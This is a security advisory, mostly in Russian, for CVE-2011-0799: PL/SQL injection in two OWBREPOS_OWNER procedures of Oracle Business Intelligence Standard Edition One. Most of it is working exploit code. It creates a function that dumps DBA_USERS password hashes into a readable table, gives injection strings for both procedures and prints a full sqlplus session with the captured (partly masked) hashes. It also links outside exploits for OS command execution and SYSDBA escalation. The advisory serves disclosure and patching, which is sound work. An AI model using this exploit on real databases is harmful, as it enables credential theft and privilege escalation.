CVE-2011-0799

Вендор

Oracle

Продукт

Oracle Business Intelligence Standart Edition One 10.1.3.2.1 

Тип уязвимости

Повышение привилегий

Reported

20.04.2010

Date of Public Advisory

16.06.2011

Автор

Александр Поляков

Детальное описание

Пользователи с доступом к исполнению OWBREPOS_OWNER.WB_RT_AUDIT_SHADOW_TABLE (role OWB_O_OWBERPOS_OWNER) могут повысить свои привилегии до владельца базы данных и получить доступ к ОС.

По умолчанию это пользователи:
BISE1_SALES 
BISE1_SALESWH 
BISE1_TUTORIALWH 
HR 
OWBERPOS_USER 
OWF_MGR 

1. PL/SQL инъекция обнаружена в процедуре OWBREPOS_OWNER.WB_OLAP_AW_REMOVE_SOLVE_ID 

Argument Name Type In/Out Default? 
------------------------------ ----------------------- ------ -------- 
P_CUBE_NAME VARCHAR2 IN 

Аргумент  P_CUBE_NAME не санитизирован, поэтому злоумышленние может внедрить любой SQL-код, который будет исполнен с правами OWBREPOS_OWNER.

OWBREPOS_OWNER не является администратором баз данных, но у него есть ряд критичных ролей и привилегий, которые могут быть использованы для просмотра всех данных в таблицах базы данных, включая хеши пользователей, а также для доступа к файлам ОС, выполнения команд ОС и получения прав SYSDBA.

1.1. У OWBREPOS_OWNER есть привилегия "SELECT ANY DICTIONARY", так что теоретически, возможно получить доступ к хешам паролей и другим данным.

Пример эксплойта 
********************
CREATE TABLE SH2KERR(id NUMBER,name VARCHAR(20),password VARCHAR(16)); 

CREATE OR REPLACE FUNCTION SHOWPASS return varchar2 
authid current_user as 
pragma autonomous_transaction; 
BEGIN 
EXECUTE IMMEDIATE 'INSERT INTO SCOTT.sh2kerr(id,name,password) SELECT user_id,username,password FROM DBA_USERS'; 
COMMIT; 
RETURN 'Z'; 
END; 
/ 

grant execute on SHOWPASS to PUBLIC; 
grant insert on sh2kerr to PUBLIC; 

exec OWBREPOS_OWNER.WB_OLAP_AW_REMOVE_SOLVE_ID('ccccccccccccccccccccc'' and SCOTT.SHOWPASS()=''Z'); 

select * from sh2kerr; 

DISASSEMBLY 
****************
when we execute OWBREPOS_OWNER.WB_OLAP_AW_REMOVE_SOLVE_ID('sometext') then procedure executes that query: 

SQL> select sql_text from v$sql where sql_text like '%cccc%'; 

DELETE FROM OWB$$$_SOLVE_GROUP_IDS WHERE CUBE_NAME = 'sometext' 

so if we execute OWBREPOS_OWNER.WB_OLAP_AW_REMOVE_SOLVE_ID('ccccccccccccccccccccc'' and SCOTT.SHOWPASS()=''Z'); 

that will be: 

DELETE FROM OWB$$$_SOLVE_GROUP_IDS WHERE CUBE_NAME = 'sometext'and SCOTT.SHOWPASS()='Z' 

because SCOTT.SHOWPASS() returbs 'Z' so this query retirn true. 

EXPLOITING 
********** 
C:\Documents and Settings\Alexandr.Polyakov>sqlplus scott/tiger@172.16.219.52/bi 
se1db 

SQL*Plus: Release 10.1.0.2.0 - Production on Tue Feb 17 19:59:18 2009 

Copyright (c) 1982, 2004, Oracle. All rights reserved. 

Connected to: 
Oracle Database 10g Release 10.2.0.1.0 - Production 

SQL> CREATE TABLE SH2KERR(id NUMBER,name VARCHAR(20),password VARCHAR(16)); 

Table created. 

SQL> 
SQL> CREATE OR REPLACE FUNCTION SHOWPASS return varchar2 
2 authid current_user as 
3 pragma autonomous_transaction; 
4 BEGIN 
5 EXECUTE IMMEDIATE 'INSERT INTO SCOTT.sh2kerr(id,name,password) SELECT user_ 
id,username,password FROM DBA_USERS'; 
6 COMMIT; 
7 RETURN 'Z'; 
8 END; 
9 / 

Function created. 

SQL> grant execute on SHOWPASS to PUBLIC; 

Grant succeeded. 

SQL> grant insert on sh2kerr to PUBLIC; 

Grant succeeded. 

SQL> exec OWBREPOS_OWNER.WB_OLAP_AW_REMOVE_SOLVE_ID('ccccccccccccccccccccc'' and 
SCOTT.SHOWPASS()=''Z'); 

PL/SQL procedure successfully completed. 

SQL> select * from sh2kerr; 

ID NAME PASSWORD 
---------- -------------------- ---------------- 
87 MGMT_VIEW 7341A3470******* 
0 SYS 77E6B621F******* 
5 SYSTEM 00F69E7C8******* 
24 DBSNMP 2799F7BE******* 
85 SYSMAN B74FA520******* 
79 OWBREPOS_USER 77B72F56******* 
54 SCOTT F894844C******* 
63 BISE1_TUTORIALWH D41A12EB3******* 

1.2. У OWBREPOS_OWNER есть привилегия "CREATE EXTERNAL JOBS", так что он может выполнять команды уровня ОС, как, например, в этом эксплойте  (http://milw0rm.com/exploits/7677) 

1.3. У OWBREPOS_OWNER есть привилегия "CREATE ANY DIRECTORY", так что он может получить привилегии SYSDBA или выполнять команды уровня ОС, например:

http://www.oracleforensics.com/wordpress/wp-content/uploads/2008/10/create_any_directory_to_sysdba.pdf 

2. PL/SQL инъекция обнаружена в процедуре OWBREPOS_OWNER.WB_OLAP_AW_SET_SOLVE_ID 

Уязвимые параметры:
Argument Name Type In/Out Defaul 
------------------------------ ----------------------- ------ ------ 
P_CUBE_NAME VARCHAR2 IN 
P_MEASURE_NAME VARCHAR2 IN 
P_SOLVE_GROUP_ID VARCHAR2 IN 

Пример
*********
CREATE TABLE SH2KERR(id NUMBER,name VARCHAR(20),password VARCHAR(16)); 

CREATE OR REPLACE FUNCTION SHOWPASS return varchar2 
authid current_user as 
pragma autonomous_transaction; 
BEGIN 
EXECUTE IMMEDIATE 'INSERT INTO SCOTT.sh2kerr(id,name,password) SELECT user_id,username,password FROM DBA_USERS'; 
COMMIT; 
RETURN 'Z'; 
END; 
/ 

grant execute on SHOWPASS to PUBLIC; 
grant insert on sh2kerr to PUBLIC; 

exec OWBREPOS_OWNER.WB_OLAP_AW_SET_SOLVE_ID('aaa''||SCOTT.SHOWPASS()||''aaa','bbb','bbb'); 

select * from sh2kerr; 

DISASSEMBLY (here we can see a query where our code in injected) 
*********** 
SQL> select sql_text from v$sql where sql_text like '%aaa%'; 

SQL_TEXT 
-------------------------------------------------------------------------------- 

INSERT INTO OWB$$$_SOLVE_GROUP_IDS(CUBE_NAME, MEASURE_NAME, SOLVE_GROUP_ID) VALU 

ES('aaa'||SCOTT.SHOWPASS()||'aaa', 'bbb', 'ccc') 

select sql_text from v$sql where sql_text like '%aaa%' 
BEGIN OWBREPOS_OWNER.WB_OLAP_AW_SET_SOLVE_ID('aaa''||SCOTT.SHOWPASS()||''aaa','b 

bb','ccc'); END; 

SQL> 

Решение
**********
Решение этой проблемы содержится в SAP Oracle Critical patch update April 2011
http://www.oracle.com/technetwork/topics/security/cpuapr2011-301950.html